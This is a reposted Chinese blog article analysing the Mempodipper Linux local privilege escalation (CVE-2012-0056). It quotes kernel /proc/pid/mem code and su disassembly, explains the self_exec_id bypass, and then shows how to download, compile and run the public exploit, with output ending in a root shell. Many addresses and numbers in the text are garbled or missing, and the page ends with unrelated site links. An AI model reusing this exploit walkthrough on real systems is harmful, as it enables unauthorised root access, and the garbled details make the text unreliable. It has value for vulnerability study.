位置: 编程技术 - 正文

Linux>=2.6.39 Mempodipper本地提权分析和EXP利用(CVE-2012-0056)

编辑:rootadmin

推荐整理分享Linux>=2.6.39 Mempodipper本地提权分析和EXP利用(CVE-2012-0056),希望有所帮助,仅作参考,欢迎阅读内容。

文章相关热门搜索词:,内容如对您有帮助,希望把文章链接给更多的朋友!

Linux>=2.6.39 Mempodipper本地提权分析和EXP利用(CVE-2012-0056)

Linux>=2.6. Mempodipper本地提权分析和EXP利用(CVE--) /proc/pid/mem是一个用于读取和写入,直接通过各地寻求与相同的地址作为该进程的虚拟内存空间进程内存的接口。 影响Linux 内核> = 2.6. 当打开/proc/pid/mem时,会调用此内核代码:复制代码代码如下: static int mem_open(struct inode* inode, struct file* file) { file->private_data = (void*)((long)current->self_exec_id); file->f_mode |= FMODE_UNSIGNED_OFFSET; return 0; } 任何人都可以打开/proc/pid/mem fd 的任何进程写入 和读取,不过,有权限检查限制。让我们看看写功能: 复制代码代码如下: static ssize_t mem_write(struct file * file, const char __user *buf, size_t count, loff_t *ppos) { struct task_struct *task = get_proc_task(file->f_path.dentry->d_inode); mm = check_mem_permission(task); copied = PTR_ERR(mm); if (IS_ERR(mm)) goto out_free; if (file->private_data != (void *)((long)current->self_exec_id)) goto out_mm; 看代码有两个检查,以防止未经授权的写操作: 复制代码代码如下: check_mem_permission和self_exec_id。 Check_mem_permission的代码只需调用到__check_mem_permission,代码: static struct mm_struct *__check_mem_permission(struct task_struct *task) { struct mm_struct *mm; mm = get_task_mm(task); if (!mm) return ERR_PTR(-EINVAL); if (task == current) return mm; if (task_is_stopped_or_traced(task)) { int match; rcu_read_lock(); match = (ptrace_parent(task) == current); rcu_read_unlock(); if (match && ptrace_may_access(task, PTRACE_MODE_ATTACH)) return mm; } mmput(mm); return ERR_PTR(-EPERM); } 有两种方法能对内存写入。 复制代码代码如下: $ su "hsmw fuck you" Unknown id: hsmw fuck you 可以看到su的stderr 的输出“Unknown id:”,我们可以fd 打开/proc/self/mem, 来确定在内存中的位置, 然后dup2 stderr 和mem fd, 把su $shellcode 写入到内存中,获得root. 已task == current测试, 用self_exec_id 匹配self_exec_id 来检测fd 的打开。 Self_exec_id在内核中只引用的少数几个地方。 void setup_new_exec(struct linux_binprm * bprm) { current->self_exec_id++; flush_signal_handlers(current, 0); flush_old_files(current->files); } EXPORT_SYMBOL(setup_new_exec); 我们创建一个子进程,用self_exec_id来exec 到一个新的进程里面。当我们exec一个新的进程,self_exec_id会产生一个增量。这里程序忙与execing到我们的shellcode写su,所以其self_exec_id得到 相同的值递增。所以我们要做的是把exec一个新的进程,fd /proc/parent-pid/mem 到父进程的PID。这个时候的FD是因为没有权限仅仅打开检查。当它被打开,其self_exec_id来时起作用,把我们exec来su,用self_exec_id将递增。通过我们打开的FD从子进程返回父进程,dup2,和exec 溢出代码到su. 接下来调试溢出的地址和ASLR随机进程的空间地址。 在这里得到错误字符串: : ba mov $0x5,%edx c: be ff mov $0xff,%esi : ff xor %edi,%edi : e8 e0 ed ff ff callq (dcgettext@plt) 然后把它写入到stderr: : 8b 3d mov 0x(%rip),%rdi # e8 (stderr) f: c2 mov %rax,%rdx : b9 mov $0x,%ecx : be mov $0x1,%esi c: c0 xor %eax,%eax e: e8 ea ff ff callq (__fprintf_chk@plt) 关闭日志; a3: e8 f0 eb ff ff callq (closelog@plt) 退出程序; a8: bf mov $0x1,%edi ad: e8 c6 ea ff ff callq (exit@plt) 这里可以看到0×,这是它调用exit函数。我们来调试“Unknown id:" 的shellcode地址。 $objdump -d /bin/su|grep '<exit@plt>'|head -n 1|cut -d ' ' -f 1|sed 's/^[0]*([^0]*)/0x1/' 0x 它会设置uid 和gid 为0 去执行一个SHELL。还可以重新打开dup2ing 内存之前,stderr fd 到stderr, 我们选择另一个fd dup stderr,在shellcode,到我们dup2 ,其他fd回来到stderr。 EXP 老外写好了。插入一段 复制代码代码如下: wget CVE-- $ ls build-and-run-exploit.sh build-and-run-shellcode.sh mempodipper.c shellcode-.s shellcode-.s CVE-- $ gcc mempodipper.c -o mempodipper CVE-- $ ./mempodipper =============================== = Mempodipper = = by zx2c4 = = Jan , = =============================== [+] Waiting for transferred fd in parent. [+] Executing child from child fork. [+] Opening parent mem /proc//mem in child. [+] Sending fd 3 to parent. [+] Received fd at 5. [+] Assigning fd 5 to stderr. [+] Reading su for exit@plt. [+] Resolved exit@plt to 0x. [+] Seeking to offset 0xc. [+] Executing su with shellcode. sh-4.2# whoami root sh-4.2# 摘自 混世魔王博客

linux下磁盘查看命令分享 一.fdisk命令fdisk是磁盘分区命令,详细命令的使用可查看相关文档使用命令fdisk-l查看当前磁盘的分区状态二.df命令df是来自于coreutils软件包,系统安

linux下磁盘分区详解 图文 Centos下磁盘管理1.磁盘分区格式说明linux分区不同于windows,linux下硬盘设备名为(IDE硬盘为hdx(x为从ad)因为IDE硬盘最多四个,SCSI,SATA,USB硬盘为sdx(x

linux vi编辑常用命令 vi编辑器中有三种状态模式1.命令模式2.输入模式3.末行模式三种模式间的相互转换vi编辑器的启动与退出直接进入编辑环境$vi进入编辑环境并打开(新建

标签: Linux>=2.6.39 Mempodipper本地提权分析和EXP利用(CVE-2012-0056)

本文链接地址:https://www.jiuchutong.com/biancheng/364147.html 转载请保留说明!

上一篇:nginx做负载CDN加速获取端真实ip(nginx实现负载均衡的流程)

下一篇:linux下磁盘查看命令分享(linux如何查看磁盘信息)

  • 矿产资源补偿费计入管理费用吗
  • 支付增值税会计科目
  • 免抵退税办法不得抵扣的进项税额的会计处理
  • 业务招待费的税金可以抵扣吗
  • 进项税额转出意思是下月还得缴吗
  • 业务招待费进项
  • 个税申报错误已过申报期怎么修改
  • 可以现金结算的资产
  • 冲回存货跌价准备所得税是调增还是调减
  • 税控盘费用减免分录
  • 进项抵欠税相关政策
  • 关联企业如何取消
  • 年终奖不走工资走存单,需要缴税吗?
  • 出纳长短款项应按日结清,但不需要计算
  • 债权受让方如何交税
  • 实收资本的印花税减半征收吗
  • 工会经费的缴费主体
  • 旅游业差额的会计分录
  • 发票抬头错了认可怎么办
  • 公司制作小程序定金能放在图物资吗
  • 销售单价的变动,将促使保本点( )
  • 税控盘费用抵减增值税的账务处理
  • linux系统怎么查看mac地址
  • 联想笔记本e49系列哪款好
  • 已计提月份的公式
  • 五险一金的记账凭证怎么填写
  • harmonyos怎么打开OTG
  • 如何解决win7系统搜不到蓝牙耳机
  • 哪些业务可以进入共享服务中心
  • 今年利润弥补以后怎么算
  • win11安卓子系统在哪打开
  • 机械设备购置的程序是什么
  • ajax+json
  • 营业收入与营业成本之间的差额是
  • vben admin框架怎么实现上传文件时拿到文件参数
  • 短期投资计入什么科目
  • 加载分页
  • 常用的成本计算方法有哪些
  • vue实战技巧
  • 基于Java+SpringBoot+Vue前后端分离仓库管理系统设计实现
  • 目标检测tricks
  • unzip解压命令参数
  • 现金折扣账务处理
  • python单链表的创建
  • python中max函数的几种用法
  • 研发费用加计扣除的条件
  • 服务型企业交税再返税
  • php算法有哪些
  • 企业应纳税所得额的计算应遵循权责发生制原则
  • 公司股东向银行货款,与私人财产有没有关系
  • 哪些进项税额不得抵扣?
  • 个人住房租赁给公司如何开票
  • 去年企业所得税多计提怎么调整
  • 去年暂估费用,今年收到发票怎么处理
  • 餐饮费发票可以抵扣进项税吗
  • 售楼部大楼
  • 用于研发购买的云服务器应计入研发费用直接投入里吗
  • 建筑工程合同中社保基金保证金
  • sql存储过程什么意思
  • mysql查看使用情况
  • vista桌面为什么不能登陆
  • 如何编译安装
  • 虚拟机vmx
  • ubuntu虚拟机怎么改用户名
  • 操作系统的定义
  • 微软宣布
  • linux filezilla使用教程
  • 更改uac设置在哪
  • jQuery展示表格点击变色、全选、删除
  • 批处理杀死进程
  • Node.js中的全局变量有哪些
  • python中模块的作用
  • unity异步加载场景
  • Struts2+jquery.form.js实现图片与文件上传的方法
  • 安卓开源项目叫什么
  • 在python程序中变量名不能用
  • 潍坊购房政策2020
  • 2022年印花税最新规定反映了什么
  • 开票盘是什么意思
  • 税务部门放管服
  • 免责声明:网站部分图片文字素材来源于网络,如有侵权,请及时告知,我们会第一时间删除,谢谢! 邮箱:opceo@qq.com

    鄂ICP备2023003026号

    网站地图: 企业信息 工商信息 财税知识 网络常识 编程技术

    友情链接: 武汉网站建设